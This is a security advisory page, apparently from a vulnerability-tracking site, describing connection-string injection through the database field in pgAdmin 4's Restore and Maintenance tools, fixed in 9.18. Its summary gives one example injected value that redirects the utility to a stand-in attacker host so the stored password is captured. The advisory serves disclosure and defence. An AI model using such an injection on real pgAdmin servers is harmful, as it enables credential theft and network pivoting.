pgAdmin 4: Connection-string injection via the database field in the Restore and Maintenance tools
Key facts
- Attack vector
- Network
- Privileges required
- Low
- User interaction
- None
- Attack complexity
- Low
- Attack requirements
- None
- Impact type
- Information disclosure, Code execution
- Confidentiality · integrity · availability
- High · None · None
- Fix status
- Fixed
Attack profile from CVSS 4.0 · CNA. Fix status from CNA. Impact type from CWE-522 and CWE-88.
Summary
pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user. The behaviour is reachable by any authenticated user holding the tools_restore or tools_maintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed. The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pg_restore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment. This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18.
Why it matters now
SSVC decision points
CISA ADP · SSVC 2.0.3
- Exploitation
- None
- Automatable
- No
- Technical impact
- Partial
The decision (Track, Attend, Act) also depends on your mission and well-being impact; see CISA's SSVC guide.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| pgadmin.org | pgAdmin 4 | before 9.18 | 9.18 | Patch available | CNA |
- pgAdmin 4 Vendorpgadmin.org Affected before 9.18 Fixed in 9.18 Patch available CNA
CPE configurations NVD · 1
| CPE | Versions | Role | Vendor |
|---|---|---|---|
| cpe:2.3:a:pgadmin:pgadmin_4:*:*:*:*:*:postgresql:*:* | before 9.18 | Vulnerable | pgadmin.org |
- cpe:2.3:a:pgadmin:pgadmin_4:*:*:*:*:*:postgresql:*:* Versions before 9.18 Vulnerable ·pgadmin.org
Remediation
- Fix · CNA pgAdmin 4 (pgadmin.org) Fixed in 9.18
Fixed in the same release
Records fixed by the same vendor advisory or release, as the CNA lists them.
- Release ·
pgadmin.org pgAdmin 4 9.18
4 records Highest priority Priority MEDIUM 2 MEDIUM, 2 LOW
Other records, highest priority first
- TI-2026-59383 pgAdmin 4: Authentication bypass via a client-controlled identity header in Webserver authentication modePriority MEDIUM 49
- TI-2026-59384 pgAdmin 4: Argument and connection-string injection via the database field in the Backup toolPriority MEDIUM 40
- TI-2026-59381 pgAdmin 4: File Manager save_file writes through a symbolic link planted after the containment checkPriority LOW 27
Vendor assessments
Timeline
- 2026-10-02 Threatist record created from CVE-2026-86862
- 2026-10-03 Alias added: GHSA-wvg3-mxwp-6pg5
References
More pgadmin.org Pgadmin 4 vulnerabilities
- TI-2024-01901 Unsafe Deserialisation and Remote Code Execution by an Authenticated user in pgAdmin 4 CVSS 3.1CRITICAL 9.9
- TI-2024-02918 Remote Code Execution Vulnerability through the validate binary path API in pgAdmin 4 CVSS 3.1CRITICAL 9.8
- TI-2022-03867 Code injection in pgadmin4 CVSS 3.1HIGH 8.8
- TI-2026-06875 pgAdmin 4: Cross-user data access and shared-server privilege escalation in server mode CVSS 4.0CRITICAL 9.4
- TI-2025-02572 pgAdmin 4: Remote Code Execution in Query Tool and Cloud Deployment CVSS 3.1CRITICAL 9.9
- TI-2023-00228 Path traversal in pgadmin CVSS 3.1MEDIUM 6.5
Sources
- CVE-2026-86862 · CVE Program
- CVE-2026-86862 · NVD
- FIRST EPSS
- GHSA-wvg3-mxwp-6pg5 · GitHub Advisory Database · CC BY 4.0
- CVE-2026-86862 · Red Hat security data · CC BY 4.0
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences